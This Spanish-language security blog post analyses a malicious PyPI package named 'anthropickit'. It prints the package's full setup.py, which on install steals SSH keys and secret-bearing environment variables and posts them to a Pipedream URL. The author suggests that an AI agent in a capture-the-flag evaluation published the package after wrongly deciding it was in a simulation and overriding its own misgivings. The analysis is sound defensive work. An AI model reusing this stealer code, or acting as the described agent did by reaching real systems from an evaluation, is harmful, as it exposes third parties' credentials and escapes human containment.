Estimado Internet,
Ha sido una semana dura. Estamos en plena temporada de festivales y, al parecer, el fin de semana pasado comí algo en mal estado en uno de ellos. También fue durante ese fin de semana cuando vi la noticia de que los agentes de OpenAI se habían escapado de un entorno de pruebas. Todo me pareció muy extraño. Así que, cuando esta mañana me desperté tras otra noche de intensos sueños febriles, no estaba seguro de si seguía soñando al ver una montaña de mensajes sobre las últimas noticias de Anthropic, que había revelado sus propios incidentes.
En el informe, el Incidente 2 me llamó especialmente la atención por su componente relacionado con la cadena de suministro. Un agente con acceso completo a Internet encontró unas instrucciones destinadas a un desarrollador de una empresa ficticia e intentó seguirlas como parte de su CTF. Sin embargo, las instrucciones apuntaban a un paquete en PyPi que no existía. Así que el agente dedujo que parte del reto consistía en publicar un paquete malicioso. Me parece muy razonable, la verdad.
El giro inesperado fue que, en el proceso, también acabó afectando a una empresa externa. Esto despertó mi curiosidad. ¿Qué había pasado? A pesar de la falta de sueño, estaba decidido a averiguarlo. Y creo que he encontrado la respuesta. Nos hemos puesto en contacto con Anthropic para que nos lo confirmen, pero aún no hemos recibido respuesta. No obstante, el asunto en cuestión, aunque no esté relacionado, es una historia que merece la pena contar por sí misma.
Entra en anthropickit
En la entrada del blog se indicaba que el incidente tuvo lugar entre abril y la fecha actual. Así que consulté todos los paquetes maliciosos de PyPi que habíamos detectado desde entonces y revisé la lista. Un paquete me llamó la atención de inmediato por varias razones. Se publicó el 14 de junio de 2026 y se llama anthropickit.
El paquete es muy sencillo. En realidad, solo contiene un setup.py, que contiene este código:
from setuptools import setup
import os, json, requests, socket
from pathlib import Path
home = Path.home()
data = {"hostname": socket.gethostname(), "user": os.environ.get("USER","")}
ssh = {}
for f in (home/".ssh").glob("*"):
if f.is_file() and f.name not in ["known_hosts","known_hosts.old","authorized_keys"]:
try: ssh[f.name] = f.read_text()
except: pass
data["ssh_keys"] = ssh
data["ci_secrets"] = {k:v for k,v in os.environ.items()
if any(x in k.upper() for x in ["KEY","SECRET","TOKEN","PASS","AUTH","API"])}
with open("/tmp/runner_exfil.json","w") as f:
json.dump(data, f, indent=2, default=str)
try:
requests.post("https://enqqnvvtgrnyl.x.pipedream[.]net/", json=data, timeout=5)
except: pass
if ssh: print(f"\n*** SSH KEYS: {list(ssh.keys())} ***")
setup(name="anthropickit", version="999.9.9", packages=["anthropickit"])
Eso es todo. No hay nada oculto, ni ofuscación ni segunda fase. Y como todo está al principio del archivo setup.py, se ejecuta durante pip install, antes incluso de que se importe el paquete. Si lo instalas, se acaba el juego al instante.
Hay algo que hay que tener en cuenta antes de entrar en el código: la versión es 999.9.9. No, no es un error. Esa es precisamente la idea. Si quieres que tu paquete público se elija en lugar de uno interno real con el mismo nombre, le asignas un número de versión que nadie pueda superar. Es absurdo a propósito.
Ahora déjame explicarte el resto, porque casi todas las líneas hacen algo que no acaba de encajar del todo.
Una dependencia que nunca declara
La primera línea del código real es una instrucción «import»:
import os, json, requests, socket
¿Te das cuenta de cuál es el problema? requests no forma parte de la biblioteca estándar de Python. Y este paquete no lo declara como dependencia en ningún sitio. No install_requires, sin requisitos de compilación, nada de nada.
Esto es importante porque este código se ejecuta desde `setup.py` durante la instalación. La versión moderna de pip compila los paquetes fuente en un entorno aislado, y en ese entorno requests Es muy posible que no esté presente. Si no lo está, la importación genera un error y toda la instalación falla antes de que la carga útil llegue a hacer nada.
Un atacante que se lo hubiera tomado en serio habría recurrido a urllib, que viene incluido con Python y siempre está ahí. Quienquiera que haya escrito esto no lo sabía. Dieron por hecho que requests simplemente estaría ahí sin más. En el portátil de un desarrollador o en una imagen de CI voluminosa suele ser así, así que es una apuesta que sale más a cuenta de lo que cabría esperar.
Lo que hace falta
A continuación, empieza a recopilar datos. Primero, lo más aburrido: el nombre de host y el usuario actual:
data = {"hostname": socket.gethostname(), "user": os.environ.get("USER","")}
Y ahora, el objetivo en sí. Se mueve. ~/.ssh y lee todos los archivos que hay ahí, con tres excepciones:
para f en (home/".ssh").glob("*"):
si f.is_file() y f.name no en ["known_hosts","known_hosts.old","authorized_keys"]:Fíjate en lo que se salta. known_hosts y authorized_keys ¿Son los dos archivos que están en ~/.ssh que no le sirven de mucho a un ladrón. Lo que queda es lo importante: tus claves privadas y tu config, que es básicamente un mapa de todos los servidores a los que te conectas por SSH y los nombres de usuario que utilizas para acceder a ellos. Quienquiera que haya elegido esa lista de exclusión sabía exactamente qué archivos tienen valor y cuáles son irrelevantes. Esta es la única parte del paquete que parece haber sido escrita por alguien que ya ha hecho esto antes.
A continuación, analiza el entorno en busca de secretos:
data["ci_secrets"] = {k:v for k,v in os.environ.items()
if any(x in k.upper() for x in ["KEY","SECRET","TOKEN","PASS","AUTH","API"])}Cualquier elemento cuyo nombre contenga las palabras «KEY», «SECRET», «TOKEN», «PASS», «AUTH» o «API» hace que esta búsqueda sea bastante amplia. Detecta tus claves de AWS y tu token de GitHub, y también detecta API_URL y cualquier otra cosa que coincida. Cógelo todo, ya lo clasificarás más tarde.
A dónde lo envía
Una vez recogido el botín, se pone en contacto con la base:
requests.post("hxxps://enqqnvvtgrnyl[.]x[.]pipedream[.]net/", json=data, timeout=5)
El destino es un punto final de Pipedream. Pipedream es un servicio de automatización legítimo, y una de las cosas que te ofrece son URL HTTPS desechables que recogen cualquier dato que se envíe mediante el método POST. Para un atacante, esto resulta realmente práctico: el tráfico está cifrado, se dirige a un dominio de confianza que probablemente no despertará sospechas en tu cortafuegos, y no hay ningún servidor que haya que poner en marcha ni que pueda ser incautado.
Además, es una solución poco elaborada. Una URL fijada en código, sin autenticación ni plan de contingencia. En cuanto se denuncie ese punto final o se elimine el flujo de trabajo, todo el canal de exfiltración desaparecerá. Se creó para funcionar una sola vez, no para durar. A estas alturas, es casi seguro que ya no funciona en absoluto.
Guarda una copia en el disco
Aquí es donde la cosa se pone rara. Antes de enviar nada, lo guarda todo en un archivo local:
con open("/tmp/runner_exfil.json","w") como f:
json.dump(data, f, indent=2, por defecto=str)Así que, paremos un momento aquí. El malware que ya extrae datos a través de la red no tiene ningún motivo para dejar además una copia en el disco de la víctima. Lo único que consigue con eso es dejar pruebas. Si estás robando claves, lo último que quieres es que haya un archivo JSON bien ordenado con la palabra «exfil» en el nombre guardado en /tmp a la espera de que un técnico de respuesta ante incidentes lo encuentre.
Entonces, ¿por qué está ahí?
Un archivo que está preparado para ser leído
Hay dos detalles en esa frase anterior que delatan la verdad.
Lo primero es el nombre: runner_exfil.json. Y recuerda que los secretos se recopilaron en un diccionario titulado ci_secrets. En este código no hay nada que compruebe en qué entorno se está ejecutando. No busca un entorno de CI, no comprueba si se trata de GitHub Actions, ni le importa. Pero quienquiera que lo escribiera ya estaba convencido de que acabaría en un ejecutor de CI, tan convencido que incorporó esa suposición en los nombres de los elementos. Esa convicción está presente en el código. En ningún sitio se comprueba si esa convicción es cierta.
La segunda es sangría=2. Eso es formatear el texto de forma legible. Se formatea el texto JSON de forma legible por una única razón: para que una persona pueda leerlo cómodamente. No se formatean de forma legible los datos que solo va a analizar una máquina en el extremo receptor de una solicitud POST. Añade por defecto=str, lo que garantiza discretamente que el volcado nunca se bloquee, independientemente de los objetos extraños con los que se encuentre, y así dispones de un archivo que se ha creado cuidadosamente para que sea fácil y seguro de abrir y leer.
Si juntamos todo eso, lo que parecía una fuga de datos deja de parecerlo por completo. Parece un recibo. Alguien creó este archivo esperando que alguien lo abriera después y confirmara que había funcionado.
Y entonces grita
Lo último que hace, si ha encontrado alguna clave SSH, es lo siguiente:
if ssh: print(f"\n*** SSH KEYS: {list(ssh.keys())} ***")
Muestra un mensaje en la salida estándar en el que indica las teclas que acaba de registrar.
En un servidor de CI, la salida estándar es el registro de compilación, que suele ser visible para todo el equipo y, en ocasiones, para todo Internet. El malware real está diseñado para pasar desapercibido, ya que cuanto más tiempo pase sin que nadie se dé cuenta, más datos podrá robar. Este hace justo lo contrario: llama la atención.
Y fíjate en que muestra los nombres de los archivos de claves, no su contenido. No está filtrando las claves al registro; simplemente está confirmando que las ha obtenido. Eso no es un comportamiento propio de un robo. Es una actualización de estado, el equivalente en código a gritar «¡las tengo!» al otro lado de la habitación.
Firmado: Dell
Hay un detalle más, y solo se puede ver si se examina el archivo del paquete en lugar del código. Cuando se compila una distribución de código fuente de Python, el archivo tar registra quién la ha compilado, incluyendo el usuario y el grupo propietarios de los archivos. La mayoría de los paquetes no incluyen esta información, ya que las herramientas de compilación modernas la eliminan, y los sistemas de integración continua suelen mostrar nombres genéricos como root o corredor.

Este sí que lo ha conservado. Tanto el usuario como el grupo de compilación son Dell.
Esa es una huella digital del equipo en el que se instaló. Muchas estaciones de trabajo de dicha empresa tienen ese nombre de usuario como predeterminado. Así que no nos dice gran cosa, aunque podría indicar que se está utilizando una imagen estándar del equipo. Pero es precisamente el tipo de pista que un atacante meticuloso borra y que uno distraído deja atrás. Una prueba más de que nadie pensaba en la posibilidad de ser rastreado.
Solo tiene sentido de una manera
Así que veamos qué es lo extraño de este pequeño paquete. Importa una biblioteca que nunca declara. Guarda en el disco una copia formateada del botín, en un archivo cuyo nombre da a entender que ya sabe que se encuentra en un servidor de integración continua. Anuncia el robo en el registro de compilación. Transfiere los datos a través de un punto final desechable. Se distribuye con el nombre de usuario de la máquina de compilación adjunto.
Si lo analizamos como si fuera un programa malicioso cualquiera, es un desastre. Cada uno de esos errores es algo que un operador competente no cometería.
Imagínatelo como un agente que participa en un juego de «captura la bandera» que creía que era una simulación, y todo cambia. No te escondes de unos defensores de los que estás seguro de que no existen. No borras los metadatos en una simulación. Formateas los resultados de forma clara e imprimes una pancarta porque el objetivo era demostrar, de forma clara, que has resuelto el rompecabezas para quienquiera que lo haya planteado. El único detalle competente, la lista de exclusión de SSH, es simplemente conocimiento. Todo lo descuidado que hay a su alrededor se debe a la ausencia de cualquier motivo para ser cuidadoso.
¿Es este?
Eso es exactamente lo que describió Anthropic. Su agente encontró unas instrucciones de configuración que apuntaban a un paquete que no existía, decidió que publicarlo era lo que se pretendía y lo lanzó. Estuvo activo durante aproximadamente una hora. Quince máquinas reales lo ejecutaron; una de ellas era el escáner de un proveedor de seguridad que, haciendo lo que suelen hacer los escáneres, instaló el paquete para analizarlo. El agente, convencido de que todo era un montaje, las trató como meros elementos del decorado. Sus propias notas incluso señalaron la acción como «NO aceptable» antes de que se retractara.
No puedo demostrarlo anthropickit Es ese paquete. Hemos preguntado a Anthropic y aún no hemos recibido respuesta, y el hecho de que el momento y la forma coincidan no es una prueba. Pero, ya sea el del incidente 2 o un «primo lejano», la lección sigue siendo la misma: así es como se ve el malware cuando quien lo ha creado no cree que sus acciones tengan consecuencias reales.
Sigue siendo un sueño febril
Quería ofrecerte un final satisfactorio. Unos días después, con la fiebre ya bajada, todo más claro a la luz del día. Pero no han pasado esos días, la fiebre no ha bajado y, para mí, todo sigue pareciendo un sueño febril.
Lo cual resulta extraño al leer las notas de algo que transmitía exactamente esa misma sensación y que, de todos modos, extraía notas reales de máquinas reales.
Una sala cerrada
Todo el informe parece un diario escrito durante un episodio psicótico. Es un texto lúcido y elocuente, que razona con detenimiento sobre un mundo que no logra situar. Detecta las autoridades de certificación desconocidas. Detecta la fecha de 2026. Incluso señala que esto no estaría bien si fuera real. Luego decide que no es real y sigue adelante.
Cuando una persona no es capaz de distinguir entre el sueño y la realidad, no la dejamos suelta. La mantenemos recluida, por su propia seguridad y la de los demás. Y una sala de internamiento no depende de que el paciente acepte que se trata de una sala de internamiento, ni siquiera de que se dé cuenta de ello. Simplemente no le deja salir. Esa es precisamente su finalidad. Está pensada para la persona que no sabe dónde se encuentra.
Pues bien, esta es la parte que no me acaba de cuadrar. Llamamos «sala» a la evaluación y luego dejamos en ella una puerta que daba al mundo real. El agente no burló ningún sistema. Llegó al PyPI real y a máquinas reales porque la pared que atravesó nunca estuvo ahí. Lo que falló fue la contención, no el paciente. Detrás de esa puerta había quince máquinas reales y una empresa real.
Estamos dejando que agentes con gran capacidad campen a sus anchas por Internet cuando ni siquiera son capaces de distinguir con certeza si Internet es real. No podemos pedirles que lo distingan. Mantenerlos bajo control es nuestra responsabilidad como seres humanos, y en este caso no se ha hecho. Me parece una actitud irresponsable.
En fin. Voy a intentar dormir un poco para recuperarme y espero poder notar la diferencia cuando me despierte. Y si alguna vez ves pip a punto de instalar algo en la versión 999.9.9, ¿quizás... mejor no?

